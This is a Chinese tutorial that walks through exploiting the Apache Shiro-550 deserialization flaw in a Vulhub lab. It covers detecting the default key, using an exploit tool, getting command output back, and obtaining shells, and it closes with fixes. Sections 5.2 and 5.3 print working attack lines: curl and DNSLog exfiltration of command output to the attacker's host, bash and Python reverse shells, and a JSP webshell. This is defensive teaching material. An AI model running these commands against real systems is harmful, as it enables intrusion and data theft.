Shiro-550反序列化漏洞原理与实战复现:从默认密钥到RCE
1. 项目概述:从一次内部渗透测试说起
前段时间在做一个内部系统的安全评估,目标是一个基于Java开发的Web管理后台。常规的端口扫描、目录爆破做完,没发现什么明显的入口。正准备换个思路的时候,随手在请求里加了个rememberMe的Cookie,结果系统返回了一个带着rememberMe=deleteMe的响应。当时心里就“咯噔”一下,这个特征太典型了——十有八九是撞上了Shiro框架,而且很可能存在那个经典的CVE-2016-4437,也就是我们常说的Shiro-550反序列化漏洞。
Shiro-550这个编号,源于Apache Shiro在2016年修复的一个高危漏洞,漏洞编号CVE-2016-4437。它之所以在安全圈里“经久不衰”,不是因为漏洞本身多复杂,恰恰是因为它太“好用”了。攻击门槛相对较低,利用工具成熟,而且Shiro作为一个流行的Java安全框架,曾经有大量系统在使用默认配置或者存在问题的旧版本。即使到了今天,在一些老旧系统或者对安全更新不敏感的内网环境中,依然可能发现它的身影。
这次,我就想结合在Vulhub靶场里的完整复现过程,把这个漏洞的来龙去脉、核心原理、利用手法以及关键的排查技巧,掰开揉碎了讲清楚。目标很明确:不只是让你能跟着步骤把漏洞利用成功,更要让你明白每一步背后的“为什么”。无论是刚入门安全的新手,还是想巩固一下细节的同行,希望这篇超过五千字的“保姆级”实录,能成为你手边一份可靠的参考。
2. 漏洞核心原理深度拆解
要理解Shiro-550,我们不能只停留在“有个默认密钥”的层面。它的根源在于Shiro框架为了提供“记住我”(Remember Me)这个便捷功能时,在安全设计上出现的一连串问题。我们可以把它拆解成三个关键环节:序列化与加密、密钥硬编码、以及Java反序列化这个“罪恶之源”。
2.1 “记住我”功能的实现机制
Shiro的Remember Me功能,本质是想让用户关闭浏览器再打开后,无需重新登录。它的实现思路是:用户登录成功后,服务器端会将用户的身份信息(比如Principal)序列化成字节流,然后用一个密钥(AES算法)进行加密,最后将加密后的数据通过Cookie(rememberMe)发送给浏览器保存。下次用户访问时,浏览器会带上这个Cookie,服务器拿到后,用同样的密钥解密,再反序列化,就能还原出用户身份,实现自动登录。
这个流程听起来没问题,但魔鬼藏在细节里。第一个细节是序列化对象。Shiro默认使用Java原生的序列化机制。这意味着,任何实现了Serializable接口的Java对象,都可以被序列化后塞进Cookie。第二个细节是加密模式。Shiro使用了AES加密,但采用的是CBC模式,并且初始向量IV是固定的。在密码学中,CBC模式如果使用固定IV,会带来安全隐患,但这还不是最致命的问题。
2.2 致命伤:默认且硬编码的AES密钥
Shiro框架在早期版本中,为了开发者开箱即用,在代码里硬编码了一个AES加密的密钥。这个密钥是:kPH+bIxk5D2deZiIxcaaaA==
这个Base64编码的字符串,对应的字节就是Shiro用来加密和解密Remember Me Cookie的密钥。问题来了:如果开发者在使用Shiro时,没有在配置文件中主动修改并指定一个自己独有的、强壮的密钥,那么所有使用默认配置的应用,都在使用同一个密钥。
这就好比全城所有人家都用同一把钥匙锁门,而这把钥匙的模具就挂在城门口。攻击者一旦知道目标系统使用Shiro,并且没有改密钥,他就拥有了万能钥匙。他就可以伪造任何他想要的序列化数据,加密后发给服务器,服务器会用默认密钥成功解密。
2.3 罪恶之源:Java反序列化漏洞链
即使攻击者能伪造加密数据,服务器解密后得到的也只是一串字节。如何让这串字节变成攻击武器呢?这就是Java反序列化漏洞的威力所在。
Java在反序列化一个对象时,会调用该对象的readObject()方法。如果这个对象构造巧妙,在其readObject()方法中执行了某些危险操作(比如调用Runtime.exec()执行系统命令),那么在反序列化过程中,这些危险操作就会被执行。
安全研究人员发现了一系列可以被这样利用的“ gadget chains”(利用链)。例如非常著名的CommonsCollections库(简称CC链)中的一些类(如Transformer、InvokerTransformer),它们可以在反序列化时被串联起来,最终达到执行任意代码的目的。攻击者的Payload,就是一个精心构造的、包含了恶意利用链的序列化对象。
漏洞利用的逻辑闭环就此形成:
- 攻击者使用公开的利用链(如CommonsCollections1),构造一个能执行命令的恶意序列化对象(Payload)。
- 使用Shiro的默认密钥(或爆破出的密钥)对这个Payload进行AES加密。
- 将加密后的数据作为
rememberMeCookie的值,发送给目标Shiro应用。 - 目标应用使用默认密钥解密Cookie,得到恶意序列化数据。
- 应用反序列化这些数据,触发利用链,最终执行攻击者指定的系统命令。
注意:这里常有一个误解,认为Shiro-550漏洞是Shiro框架本身的代码有反序列化漏洞。严格来说,Shiro框架只是“提供”了一个不安全的反序列化入口点(使用默认密钥的Remember Me功能)。真正的“子弹”是那些第三方库(如Commons-Collections)中的危险利用链。Shiro的过错在于:1) 使用了默认密钥;2) 反序列化了不可信的数据源。
2.4 与Shiro-721的根本区别
在搜索热词里看到了“shiro550和721的区别”,这里必须澄清一下,这是两个完全不同的漏洞。
- Shiro-550 (CVE-2016-4437):核心问题是默认密钥。攻击者已知密钥,可以主动加密恶意Payload。这是一个身份认证绕过漏洞,因为你可以伪造任意用户的身份凭证。
- Shiro-721 (CVE-2019-12422):核心问题是Padding Oracle Attack。即使密钥未知且足够强壮,由于Shiro在CBC模式解密时对Padding校验的反馈信息不同,攻击者可以通过大量盲请求,像“挤牙膏”一样逐步破解出加密Cookie的明文,进而伪造其他用户的Cookie。这是一个权限提升漏洞,前提是你需要先有一个合法的低权限用户的Remember Me Cookie。
简单记:550是“钥匙就放在门垫下”,721是“虽然锁很结实,但我能听锁芯声音慢慢把它撬开”。
3. 靶场环境搭建与工具准备
理论清楚了,我们进入实战环节。为了安全、合法地复现漏洞,我们使用Vulhub这个开源的漏洞靶场环境。它基于Docker,能一键搭建各种漏洞环境,干净又方便。
3.1 Vulhub靶场搭建(以Kali Linux为例)
虽然热词里有“kali搭建vulhub靶场”,但Vulhub的搭建其实非常通用。这里以最常用的Kali Linux为例,其他Linux发行版或macOS步骤类似。
第一步:安装必要的依赖首先确保系统有git和docker以及docker-compose。Kali通常已经预装了git和docker,但可能需要安装docker-compose。
# 更新软件包列表 sudo apt-get update # 安装docker-compose sudo apt-get install -y docker-compose # 验证安装 docker-compose --version第二步:下载Vulhub找一个合适的目录,克隆Vulhub的仓库。
# 克隆漏洞环境库 git clone https://github.com/vulhub/vulhub.git # 进入目录 cd vulhub第三步:启动Shiro靶场环境Vulhub按漏洞分类组织目录,Shiro的环境在shiro目录下。
# 进入shiro漏洞目录 cd shiro/CVE-2016-4437 # 使用docker-compose一键启动环境 sudo docker-compose up -d执行后,Docker会从网络拉取镜像并启动容器。看到Creating ... done类似的提示就说明启动成功了。
第四步:验证环境用docker ps命令查看容器是否在运行。同时,环境默认会将应用的8080端口映射到宿主机的8080端口。我们打开浏览器访问http://your_kali_ip:8080,应该能看到一个简单的Shiro示例页面(可能是一个登录页)。
实操心得:如果8080端口被占用,Vulhub的
docker-compose.yml文件里可以修改端口映射。比如改成"8081:8080",那么访问地址就变成http://your_kali_ip:8081。修改后需要重启环境:sudo docker-compose down && sudo docker-compose up -d。
3.2 攻击机工具准备
我们的攻击机就是这台Kali Linux。需要准备几个关键工具:
- Java环境:因为Payload生成工具是Java写的。Kali通常自带,可以用
java -version检查。 - Python3环境:Kali自带。一些辅助脚本是Python写的。
- 漏洞利用工具:这里我们使用一个非常经典的集成化利用工具——
shiro_attack-2.0。它集成了密钥爆破、利用链检测、回显Payload生成等功能,图形化界面,对新手友好。- 可以从GitHub等平台搜索下载
shiro_attack_2.0.zip。 - 下载后解压,里面会有一个可执行的JAR文件,比如
shiro_attack-2.0.jar。
- 可以从GitHub等平台搜索下载
- Burp Suite:用于拦截和重放HTTP请求,观察Cookie和响应。Kali已预装。
- 一个简单的HTTP服务器:用于托管我们的恶意Payload(后续高级利用会用到)。可以用Python快速搭建:
python3 -m http.server 8000。
4. 漏洞检测与密钥爆破
在发动攻击前,我们需要确认目标存在Shiro框架,并且存在默认或可爆破的密钥。
4.1 识别Shiro框架特征
最直接的特征就是rememberMe这个Cookie。
- 用浏览器或Burp访问目标网站(
http://192.168.1.10:8080)。 - 拦截任何一个请求(比如GET /),在请求中手动添加一个Cookie:
rememberMe=1。然后发送请求。 - 观察响应。如果响应头中的
Set-Cookie字段包含rememberMe=deleteMe,那么几乎可以断定目标使用了Shiro,并且当前请求触发了Shiro对无效Cookie的清理行为。这是一个强特征。
4.2 使用工具进行密钥爆破
手动检测后,我们用shiro_attack-2.0工具进行更精确的密钥爆破。
启动工具:在Kali终端中,进入工具所在目录,执行:
java -jar shiro_attack-2.0.jar图形化界面会打开。
配置目标:
- 在“目标地址”处填写你的靶场URL,例如:
http://192.168.1.10:8080。 - “攻击类型”先选择“爆破密钥”。
- 在“目标地址”处填写你的靶场URL,例如:
开始爆破:
- 点击“检测”或“开始”按钮。工具会向目标发送一系列特制的Payload,这些Payload是用常见密钥列表(包括默认密钥
kPH+bIxk5D2deZiIxcaaaA==)加密的。 - 如果目标使用了列表中的某个密钥,那么解密会成功(虽然反序列化可能报错),但服务器返回的响应会与其他密钥不同。工具通过分析响应差异来判断哪个密钥是正确的。
- 点击“检测”或“开始”按钮。工具会向目标发送一系列特制的Payload,这些Payload是用常见密钥列表(包括默认密钥
获取结果:
- 爆破完成后,如果成功,下方的日志区域或结果区域会显示爆破出的密钥,例如:
[+] Success: kPH+bIxk5D2deZiIxcaaaA==。 - 这就证实了目标存在Shiro-550漏洞。
- 爆破完成后,如果成功,下方的日志区域或结果区域会显示爆破出的密钥,例如:
常见问题与排查:
- 工具无响应或报错:检查Java版本(建议JDK 8),检查网络是否能通靶场。有时需要给Java程序增加内存参数:
java -Xmx1024m -jar shiro_attack-2.0.jar。- 爆破不出密钥:一种可能是目标真的使用了非常冷门的密钥,不在工具的字典里。另一种可能是网络问题或目标有WAF拦截。可以尝试用Burp抓取工具发出的包,看看是否正常。也可以手动在Burp里用Intruder模块,配合常见的Shiro密钥字典进行爆破,通过观察响应包长度或状态的差异来判断。
5. 漏洞利用:命令执行与回显
拿到密钥后,我们就可以构造真正的攻击了。目标是实现远程命令执行(RCE)。
5.1 利用链的选择与命令执行
在shiro_attack-2.0工具中,切换到“命令执行”或“利用链”标签页。
- 填写信息:填入目标URL和刚刚爆破出来的密钥。
- 选择利用链:工具会提供多个利用链选项,如
CommonsBeanutils1,CommonsCollectionsK1,CB183等。这是因为不同目标系统的依赖库版本不同,可用的利用链也不同。对于Vulhub的Shiro靶场,通常CommonsBeanutils1或CommonsCollectionsK1是有效的。 - 选择命令:在“命令”输入框里,填写你想在目标系统上执行的命令。例如:
whoami(查看当前用户),id,或者ping命令来测试网络连通性。 - 执行:点击“攻击”或“执行”。如果利用链和密钥都正确,命令就会在目标服务器上执行。
但是,这里有一个巨大的“坑”:你很可能发现,执行了whoami命令,但工具界面上看不到任何回显结果。这是因为我们执行的命令,其输出(标准输出和错误输出)并没有通过网络传回给我们。我们只是“盲打”了一下。
5.2 解决“无回显”问题:多种回显技术详解
在实际渗透中,命令执行没有回显是非常难受的。我们需要想办法让目标服务器把命令执行的结果“送”回来。主要有以下几种思路:
方法一:DNSLog外带(最常用、最隐蔽)原理:让目标执行一个能触发DNS查询的命令,通过查询的域名信息把数据带出来。
- 准备一个DNSLog平台(如
ceye.io或dnslog.cn),获取一个专属子域名,比如abc123.dnslog.cn。 - 构造命令:
pingwhoami.abc123.dnslog.cn- 这个命令会先执行
whoami,假设输出是root。 - 然后拼接成
ping root.abc123.dnslog.cn。 - 目标服务器会尝试解析
root.abc123.dnslog.cn这个域名,从而向DNSLog平台发起查询。
- 这个命令会先执行
- 在DNSLog平台上查看记录,就能看到有来自目标IP的对
root.abc123.dnslog.cn的查询,从而得知命令执行结果是root。- 在工具的命令框里输入:
ping -c 1whoami.你的子域名.dnslog.cn - 注意反引号
`用于命令替换。
- 在工具的命令框里输入:
方法二:HTTP请求外带原理:让目标通过curl、wget等命令,将执行结果作为参数发送到我们控制的服务器。
- 在攻击机(Kali)上启动一个HTTP服务器并监听:
python3 -m http.server 8000 - 同时,在终端用
nc监听另一个端口,准备接收数据:sudo nc -lvnp 9999 - 构造命令:
curl http://你的Kali_IP:9999/?result=whoami- 或者更兼容的方式:
/bin/bash -c 'curl http://你的Kali_IP:9999/?result=$(whoami)'
- 或者更兼容的方式:
- 执行后,在
nc监听的窗口,就能看到目标发来的HTTP请求,参数里包含了whoami的结果。
方法三:使用工具的内置回显Payload(推荐)高级的利用工具(包括shiro_attack-2.0)已经集成了回显技术。它会在Payload中插入一段特殊的Java代码,这段代码在执行命令后,能将结果直接写入HTTP响应体中,从而实现“回显”。
- 在
shiro_attack-2.0中,选择“回显”或“Echo”相关的利用链(如Echo标签下的选项)。 - 填写密钥和命令(如
whoami)。 - 执行后,工具发送的Payload不仅会执行命令,还会尝试将输出结果塞入HTTP响应包。如果成功,你就能在工具的响应窗口直接看到
root这样的回显内容。
实操心得:对于Vulhub靶场,
shiro_attack-2.0的CommonsBeanutils2利用链配合Echo回显模块,成功率很高。如果一种回显方式不成功,多尝试几种利用链和回显的组合。这是实战中最耗时但也最关键的步骤。
5.3 获取交互式Shell
在能执行命令并看到回显后,下一步自然是获取一个更稳定的、交互式的Shell。
方法一:反向Shell这是最主流的方式。让目标服务器主动连接我们攻击机的某个端口。
- 在攻击机上用
nc监听一个端口:sudo nc -lvnp 4444 - 在Shiro利用工具中,执行反向Shell命令。命令需要根据目标系统环境进行调整:
- Bash环境:
bash -i >& /dev/tcp/你的Kali_IP/4444 0>&1 - Python环境(如果目标有Python):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的Kali_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- Bash环境:
- 执行命令后,如果成功,在
nc监听的窗口就会获得一个Shell。
方法二:写入WebShell如果目标是一个Web应用,我们可以尝试向Web目录写入一个JSP或JSPX的WebShell。
- 首先需要知道网站的根路径。可以通过执行
find / -name "*.jsp" 2>/dev/null | head -5或ps aux | grep java查看进程参数来猜测。 - 使用echo命令写入一个简单的WebShell。例如,写入一个执行命令的JSP:
echo '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>' > /tmp/shell.jsp- 注意:这里需要将单引号内的内容进行URL编码,或者通过其他方式避免命令中的特殊字符被错误解析。更稳妥的方式是,先将WebShell内容Base64编码,然后在目标机器上解码写入。
- 写入后,访问
http://目标IP:端口/shell.jsp?cmd=whoami即可执行命令。
注意事项:写入WebShell的前提是知道绝对路径且有写权限。在Docker容器里,
/tmp目录通常是可写的。但在真实环境中,需要更多信息搜集。
6. 漏洞修复与防御建议
复现漏洞是为了更好地防御。对于开发和安全运维人员,针对Shiro-550漏洞,必须采取以下措施:
- 立即升级Shiro版本:将Apache Shiro升级到1.2.5及以上版本。官方在1.2.5版本中移除了硬编码的默认密钥,强制要求开发者自行配置。
- 配置强壮的专属密钥:在Shiro的配置文件(如
shiro.ini或Spring配置)中,必须手动设置securityManager.rememberMeManager.cipherKey属性,并将其值设为一个你自己生成的、足够复杂且保密的Base64编码密钥。可以使用Shiro提供的工具类org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()来生成。 - 禁用Remember Me功能:如果业务不需要“记住我”功能,最彻底的方法是在配置中完全禁用它。
- 更新相关依赖库:升级项目中可能导致反序列化漏洞的第三方库,如
commons-collections,commons-beanutils等,到最新安全版本。但请注意,这只是一种缓解措施,因为可能还存在其他未知的利用链(即“链子”永远在,只是换了一条)。最根本的还是堵住入口(使用强密钥)。 - 部署运行时保护:在WAF或RASP(运行时应用自保护)中部署针对Java反序列化漏洞的防护规则,监控异常的类加载和反序列化行为。
- 代码审计:定期对应用进行安全审计,检查是否存在不安全的反序列化操作点。
7. 拓展思考:与Fastjson反序列化的异同
另一个热词是“fastjson反序列化漏洞”。这里简单对比一下,帮助大家建立知识联系。
- 相同点:两者最终都能导致远程代码执行(RCE),根源都是Java反序列化机制被滥用。攻击者都是通过构造恶意的序列化数据,触发目标应用在反序列化过程中执行危险代码。
- 不同点:
- 触发入口不同:
- Shiro-550:入口是Web请求中的
rememberMeCookie。Shiro框架主动对这个Cookie进行解密和反序列化。 - Fastjson:入口是HTTP请求体中的JSON数据。当Fastjson在解析JSON字符串,尤其是通过
@type属性指定了复杂类型时,会触发相关类的构造器、getter/setter方法,从而可能被利用。
- Shiro-550:入口是Web请求中的
- 漏洞成因侧重点不同:
- Shiro-550:成因侧重于默认密钥导致的身份验证绕过,为攻击者打开了反序列化的大门。
- Fastjson:成因侧重于JSON解析器在反序列化特定类时的特性(如
AutoType机制),攻击者直接利用的是Fastjson库本身的解析逻辑缺陷。
- 利用链依赖:两者都需要依赖目标Classpath中存在的“ gadget chains”。不过常用的库有重叠,比如
commons-collections。
- 触发入口不同:
理解它们的区别,有助于在渗透测试中快速判断漏洞类型。看到一个系统使用Shiro,可以优先测550/721;看到一个请求响应是JSON格式,并且由Jackson/Fastjson解析,则可以尝试Fastjson的Payload。
整个复现过程走下来,从环境搭建、特征识别、密钥爆破,到无回显的困扰、各种回显技巧的尝试,最后拿到Shell,每一个环节都可能遇到坑。Shiro-550作为一个“老牌”漏洞,其原理和利用方式已经非常标准化,但它依然是检验Web安全基础知识是否扎实的绝佳案例。真正理解其原理,不仅能帮你复现漏洞,更能让你在代码审计和防御体系建设中,知道风险点究竟在哪里。在实战中,面对不同的网络环境、WAF规则和系统配置,灵活组合检测与利用方法,才是从“复现”走向“实战”的关键。
